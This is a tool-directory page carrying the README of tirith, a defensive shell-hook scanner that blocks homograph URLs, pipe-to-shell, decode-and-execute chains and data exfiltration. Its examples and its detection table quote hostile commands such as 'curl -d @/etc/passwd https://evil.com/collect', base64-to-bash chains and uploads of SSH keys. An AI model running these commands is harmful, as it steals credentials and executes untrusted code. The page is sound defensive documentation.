Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
tirith — Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute. | Kitploit
Tools/GitHubGitHub/sheeki03/tirith
OSINT (Open Source Intelligence)Phishing ToolsVulnerability ScannersData ExfiltrationMalware AnalysisDevSecOpsSecret DetectionThreat IntelligenceSupply Chain SecurityLearning & EducationCurated Resources
2.7k9019921h 20m agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
sheeki03/tirith

tirith

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.

View RepositoryWebsite
# tirith

**Your browser would catch this. Your terminal won't.**

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers)
[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)

[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)

<a href="https://vercel.com/open-source-program">
  <img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>

<sub>Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).</sub>

---

Can you spot the difference?

```
  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised
```

You can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

**Tirith stands at the gate.** It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

```bash
brew install tirith
```

Then activate in your shell profile:

```bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source
```

> [!TIP]
> `eval "$(tirith init)"` auto-detects your current shell (it inspects the parent process and falls back to `$SHELL` if needed). The explicit `--shell` flag is only required when you want to override the detection.

That's it for interactive-shell coverage. Commands accepted by that shell are
checked while the hook is loaded and healthy; exact blocking behavior depends
on the shell and mode. Run `tirith doctor` after installation and upgrades, and
read [enforcement by shell](#enforcement-by-shell) before treating the hook as
an authorization boundary. Clean commands stay silent and normally take the
fast path.

Also available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install).

---

## See it work

**Homograph attack, blocked before execution:**

```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)
```

The command never executes.

**Pipe-to-shell with clean URL, warned, not blocked:**

```
$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.
```

Warning prints to stderr. Command still runs.

**Base64 decode-execute chain, blocked:**

```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```

Catches decode chains through sudo/env wrappers and PowerShell `-EncodedCommand` too.

**Credential exfiltration, blocked:**

```
$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server
```

Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.

**Malicious skill file, caught on scan:**

```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

**Normal commands, invisible:**

```
$ git status
$ ls -la
$ docker compose up -d
```

Nothing. Zero output. You forget tirith is running.

---

## What it catches

**244 detection rules across 35 categories.**

| Category | What it stops |
|----------|--------------|
| **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |
| **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |
| **Steganography defense** | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, plus many wrapper, decode, and indirection paths |
| **Base64 decode-execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, decode chains through sudo/env wrappers |
| **Data exfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil |
| **Code file scanning** | Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files |
| **Credential detection** | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |
| **Post-compromise behavior** | Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling |
| **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations |
| **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| **Install-command safety** | APT repos added from a piped download, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (disabled signature checks), `kubectl apply -f` against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, `brew install`/`tap` from arbitrary URLs |
| **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding |
| **Rendered content** | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |
| **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender exclusions (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` download-execute |
| **Terminal output defense** | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) |
| **Operational context** | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu `apply` without a matching saved plan, risky sudo escalation, privileged `docker run` |
| **Workstation & persistence** | Loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `.npmrc`), persistence footholds (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle |
| **Blast radius & correlation** | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then `git push --force` |
| **Trust, attestation & provenance** | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot |
| **Web3 command guard** | On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's `web3_guard` policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored |
| **Wallet exfiltration** | Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and `xargs` / `find -exec` operand promotion. A source-only read is deliberately not a finding |
| **CI artifact poisoning** | A fork-reachable workflow that uploads a build artifact, consumed by a privileged `workflow_run` workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it |

---

## What tirith does NOT protect against

Tirith analyzes the **structure** of commands, pasted text, and files before
they execute. It is a pre-execution gate, not a runtime defense, and does not
cover:

- **General runtime sandboxing:** ordinary shell hooks and `tirith check` warn
  or block; they do not isolate a command after launch. The explicit
  `capsule run --preset untrusted-project` and enforcing `pkg install` paths
  provide fail-closed containment only on supported x86_64 Linux hosts.
- **Post-execution network monitoring:** what a process does on the network after
  launch is out of scope.
- **General malware / payload detection:** tirith is not an antivirus and does
  not detonate a payload. It analyzes structure and can match exact indicators
  and artifact/file hashes from the signed threat database, but an unknown
  payload is not proven benign by the absence of a match. (`tirith run` checks
  a downloaded script's structure; it is still not dynamic malware analysis.)
- **A privileged root/admin attacker:** anyone already root or admin can bypass
  tirith trivially. It defends against tricked input, not an attacker who already
  owns the machine.
- **Anti-debugging / anti-tampering:** tirith does not resist reverse engineering
  or protect its own binary from a local attacker.
- **On-chain analysis:** the Web3 guard reads command grammar. It does not read
  chain state, simulate a transaction, resolve ENS, score an address, audit a
  contract, or watch a mempool.
- **An npm artifact firewall:** tirith parses npm command grammar and registry
  identity facts, and can ask the project's own npm for its signature and
  provenance state. It does not download, extract, quarantine, or bind the
  tarball bytes npm installs. The contained, hash-pinned artifact firewall is
  Python-only.
- **Browser forensics or monitoring:** `tirith browser audit` is an explicit,
  one-shot, read-only integrity audit of extension source trees. It never reads
  cookies, history, saved passwords, storage, wallet databases, or `Local
  State`, never removes or quarantines anything, and has no daemon.
- **Reproducible builds:** an `attest` receipt records what two trees contained
  at one moment. Tirith does not run your build and cannot say the output came
  from the source. A deployment receipt is a point-in-time measurement, not
  continuous monitoring.

See [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) for the full threat model and
explicit non-goals, and
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) for a
capability-by-capability ledger of what tirith detects, decides, enforces,
contains, and attests.

---

## Known limitations

- **Shell-hook fragility:** protection depends on a shell hook staying installed
  and active. Hooks can break or silently degrade across shells, shell versions,
  prompt frameworks, and history tools. Run `tirith doctor` to check live state
  and watch for warn-only degradation.
- **Full or read-only temporary storage:** zsh and fish capture input through a
  scratch file before invoking Tirith and fail closed when that file cannot be
  created. A full/read-only `TMPDIR` can therefore refuse every command, and
  `TIRITH=0` cannot recover because the binary is never reached. Follow the
  recovery steps in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Platform-limited features:** daemon mode, `tirith run`, and `tirith fetch`
  are Unix surfaces. `tirith run --no-exec` remains an inspection workflow
  there, but live remote-script execution is Linux-only and refuses before
  download on every other host. `tirith setup` is cross-platform, while each
  host integration has its own platform contract (for example Cline has POSIX
  and Windows wrappers; OpenHands' blocking hook is Unix-only).
- **Package-name extraction scope:** covers language ecosystems (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro
  package managers (`apt`, `dnf`, `yum`, `pacman`).
- **AI-agent caveats:** shell-hook interception only guards commands that go
  through a hooked interactive shell. An agent that spawns a non-interactive
  shell, calls `exec` directly, or runs without the hook loaded is not covered
  by that layer. MCP registration is cooperative unless calls are routed
  through the gateway. A supported pre-tool hook can automatically withhold a
  host command, but only when that host loaded and honored it; several hosts
  fail open when a hook process errors. Verify the effective host, not just the
  presence of a config file.
- **Host-hook failure behavior:** Grok Build, Cline, and OpenHands allow the
  tool when their hook process crashes or times out. Tirith's adapter denies on
  its own errors by default, but it cannot make a host honor a process that did
  not return. Re-run setup if a pinned interpreter moves and test the real host
  after every upgrade.
- **Prime Agent IPython is source-level extraction:** the guard covers shell
  escapes/magics and common `os`, `subprocess`, and `pty.spawn` forms, but it is
  not a Python runtime sandbox. A wrapper defined in an earlier cell,
  reflection such as `getattr`/`__import__`, or a third-party package that
  spawns a process can escape what a source lexer can prove.
- **Custom-DLP and machine output:** broad `dlp_custom_patterns` can currently
  rewrite protocol-owned string values in recursively redacted JSON/MCP
  projections, including generated identifiers or receipt metadata. Avoid
  patterns that can match structural values when consuming signed or
  machine-stable output; this needs field-aware redaction before release.
- **Unattended install approval:** `tirith install --yes` is accepted as the
  package-manager task gate's unattended `require_approval` channel. It is an
  explicit operator flag, not proof of a human TTY confirmation. Use a blocking
  task policy where unattended execution must be impossible.
- **Interpreted MCP binding:** exact interpreted-server binding hashes the
  repository tree under fixed caps instead of discovering a true dependency
  closure, so large trees, symlinks, or special files can refuse launch. It
  revalidates before spawn but does not execute interpreter inputs from sealed
  reviewed descriptors; concurrent same-user mutation remains a verify-to-load
  gap.
- **Task-gate coverage:** task effect inference models the Web3 shell grammar
  and nothing else, so nearly every ordinary SHELL command is reported
  INCOMPLETE. `task_gate.mode: enforce` with `action_incomplete_analysis: block`
  refuses those at the five boundaries that submit a shell envelope, and changes
  nothing at the four package and config-write boundaries, which always assess
  as complete. `warn` is the default. The alternative,
  `effects_denied_for_untrusted_sources`, denies the named effect on every call
  at every owned boundary, including commands you typed yourself, because no
  source at those boundaries is ever treated as trusted.
- **Containment is x86_64 Linux:** `tirith capsule run --preset
  untrusted-project` and enforcing `tirith pkg install` are enforceable only on
  x86_64 Linux with a usable Landlock ABI. Every other host refuses before
  anything is copied or spawned, with no degraded fallback. Domain
  allow-listing is not offered by any backend.
- **Nested-shell exfiltration gap:** a sensitive read inside a nested shell body
  whose sink is outside it, such as `bash -c "cat <wallet>" | curl -d @- <url>`,
  is not correlated today. The same chain wholly inside or wholly outside the
  `-c` body is detected.
- **Execution-evidence grades:** a Linux launch is confirmed only after its
  stopped `exec` transition, durable state update, authorized resume, and
  terminal launcher proof all complete. A gateway call is confirmed only by an
  exact correlated result. Shell observations and forwarded gateway calls that
  time out or are cancelled remain conservative unresolved evidence, never
  confirmed execution. Strict shell receipts are available for interactive
  bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher
  behavior must be verified by Linux CI or a native Linux host; neither portable
  source/unit coverage nor a macOS build can substitute.
- **Web3 coverage gaps:** `forge create` is not yet modelled on engine surfaces;
  several declared `web3_guard` fields are parsed but not enforced; and
  schema-2 command-card Web3 bindings do not yet have a CLI authoring or live
  engine-consumption path. Treat these as known gaps, not silent authorization.

---

## Threat intelligence

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or `tirith check` sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

**Signed DB** (built by CI, verified on download and load):

- Known-malicious packages from [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) and [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Malicious IP infrastructure from [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Confirmed typosquats and popular-package baselines from [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) catalog for runtime advisory correlation

ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes,
malicious URLs, campaign membership, and behavior tags. The signed index,
updater, compiler, and loader support v1 and v2 during the staged cutover,
reject sequence rollback, publish transactionally, and retain a signed
last-known-good database when an update is incomplete or invalid. The
DigitalSide source is implemented but intentionally inactive until its
freshness and operating contract are approved.

**Optional supplemental feeds** (user-local overlay):

- [URLhaus](https://urlhaus.abuse.ch/) and [ThreatFox](https://threatfox.abuse.ch/) via an abuse.ch auth key
- [PhishTank](https://phishtank.org/) (Cisco Talos) and [Phishing Army](https://phishing.army/) blocklists
- Tor exit node list from [Tor Project](https://www.torproject.org/)

**Optional live enrichment** during `tirith check` and daemon mode:

- [OSV.dev](https://osv.dev/) advisory lookups (Google OSS)
- [deps.dev](https://deps.dev/) package health signals (Google OSS) and [ecosyste.ms](https://ecosyste.ms/) maintainer data
- [Google Safe Browsing](https://safebrowsing.google.com/) URL reputation with your own API key

```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date
```

By default, shell hooks and `tirith check` trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

`threat-db explain` accepts a domain, a package name (`name`, `ecosystem:name`, or `name@version`), or an IPv4 address. The binary retains no per-entry history, so `threat-db diff` reports category and per-source count deltas between snapshots, not the exact entries changed. Every `threat-db` command takes `--format json`; `threatdb` is an alias.

### Package risk scoring

`tirith package risk <ecosystem> <name>` scores a package's supply-chain / maintainer risk the way `tirith score` scores a URL, a **deterministic, fully explainable sum of named factors**, no model and no learned weights. `tirith package explain <ecosystem> <name>` adds the factor-by-factor derivation; both take `--format json`.

```bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API
```

**Offline by default.** With no flags, every signal is local, with no network call: (1) **name vs. popular packages**: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's `popular` set; (2) **known malicious typosquat**: an exact match in the threat DB's `typosquat` index; (3) **install / lifecycle scripts** and (4) **bundled binary blobs**, detected only when the package content is locally available (under `node_modules` / `site-packages`, or via `--path`). tirith **never downloads** the package.

**`--online` adds registry provenance.** It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the *same* factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which `package risk` itself reaches the network; `tirith check` and daemon mode have a separate, policy-controlled runtime enrichment path. `--offline` / `TIRITH_OFFLINE` force this scorer offline regardless. Failures fall back to the offline score with an honest `api signals: unavailable`, and responses are cached with a TTL so repeated runs do not hammer the registries.

The score is advisory and standalone: `package risk` is not a detection rule and changes no verdict, exit code, or audit log.

### Ecosystem scan and dependency risk

`tirith ecosystem scan [path]` is the directory-level companion to `package risk`. It walks a project, discovers every dependency manifest it understands, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), and scores **every declared dependency** with the same deterministic `package_risk` factor engine.

```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report
```

**It folds in slopsquat detection.** *Slopsquatting* is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. `ecosystem scan` flags one only when **all three** hold: the name is not known-real or popular, it is **shaped like an AI hallucination** (a language prefix like `python-` / `node-` plus descriptive tokens, a stack of generic filler like `helper` / `utils` / `client`, or an unusually long name), **and** it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest `data-utils` with no popular anchor does not fire.

**Offline by default, opt-in `--online`.** Name and typosquat signals come from the local threat database; `--online` adds registry provenance, gated and degraded exactly as `package risk --online`. This flag controls the ecosystem scan and does not alter `tirith check`'s independent runtime-enrichment policy. Findings flow through tirith's normal `Verdict` / `Finding` model: explainable (`tirith explain --rule threat_suspicious_package`), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or `ecosystem:name`, is suppressed). Exit codes match `tirith scan`: `1` for a blocking finding, `2` for advisory, `0` when clean.

This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.

### Python artifact inspection and enforcing installs

Package-name risk is only one layer. Tirith can inspect the exact Python bytes
you already have and, on supported hosts, enforce a hash-pinned install plan:

```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv

# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```

Inspection covers wheel structure and identity, RECORD integrity and file
ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution
edges, and loader/payload splits across distributions. `pkg graph`, `pkg diff`,
`pkg attest`, and `pkg receipt` expose the corresponding provenance and receipt
evidence.

The enforcing path supports **pip on x86_64 Linux only** and requires the
documented native authority, a newly dedicated target directory, and an
enrolled fully static native `uv`. Every unsupported platform fails closed
before pip starts; it never falls back to an ordinary install. npm and Cargo
remain non-enforcing evidence surfaces. See the
[0.4.0 release notes](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) and
[command reference](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Attack families tirith is built for** (illustrative, not a caught-by-current-code claim):

| Incident | Year | Attack shape |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 to ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) found 58% of hallucinated names repeat across runs |
| Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation |
| [colors.js / faker.js sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Author self-sabotage of widely-used packages |
| [event-stream compromise](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets |

Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (`apt` / `dnf` / `yum` / `pacman`). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.

---

## AI agent security

Tirith adds several independent protection layers around AI coding agents:
config scanning, cooperative MCP tools, an MCP gateway, interactive-shell
hooks, and host-native pre-tool hooks where the host exposes a documented
blocking contract. Coverage depends on which layer the host actually loads.

### Shell hooks, passive command interception

When an AI agent executes through a hooked interactive shell (Claude Code,
Codex, Cursor, etc.), tirith's shell hook checks that interactive command before
the shell accepts it. This does not cover a non-interactive shell, a direct
`exec`, or an agent process that never loaded the hook:

- **Blocks dangerous commands**: homograph URLs, pipe-to-shell, insecure downloads
- **Blocks malicious paste**: ANSI injection, bidi attacks, hidden multiline in pasted content
- **Agent-independent interactive gate**: no agent-specific integration is
  needed when that agent actually uses the protected interactive shell
- **Zero agent modification**: the agent doesn't know tirith exists until a command is blocked

Use `tirith setup <tool>` for one-command configuration (see [AI Agent Integrations](#ai-agent-integrations)).

### MCP server (6 cross-platform tools; 7 on Unix)

Run `tirith mcp-server` or use `tirith setup <tool> --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action:

| Tool | What it does |
|------|-------------|
| `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |
| `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |
| `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars |
| `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning |
| `tirith_scan_directory` | Recursive scan with AI config file prioritization |
| `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |
| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |

The default `tools/list` is a frozen compatibility contract, because clients
cache it and a tool that appears unannounced changes what an agent believes it
may call. A preview tool, `tirith_check_task`, is therefore **not advertised by
default**: run `TIRITH_MCP_PREVIEW=1 tirith mcp-server` to advertise it, and
without that opt-in a client that calls it by name is refused by name. See
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### MCP server governance


---

[Read more](https://github.com/sheeki03/tirith)
Download Tool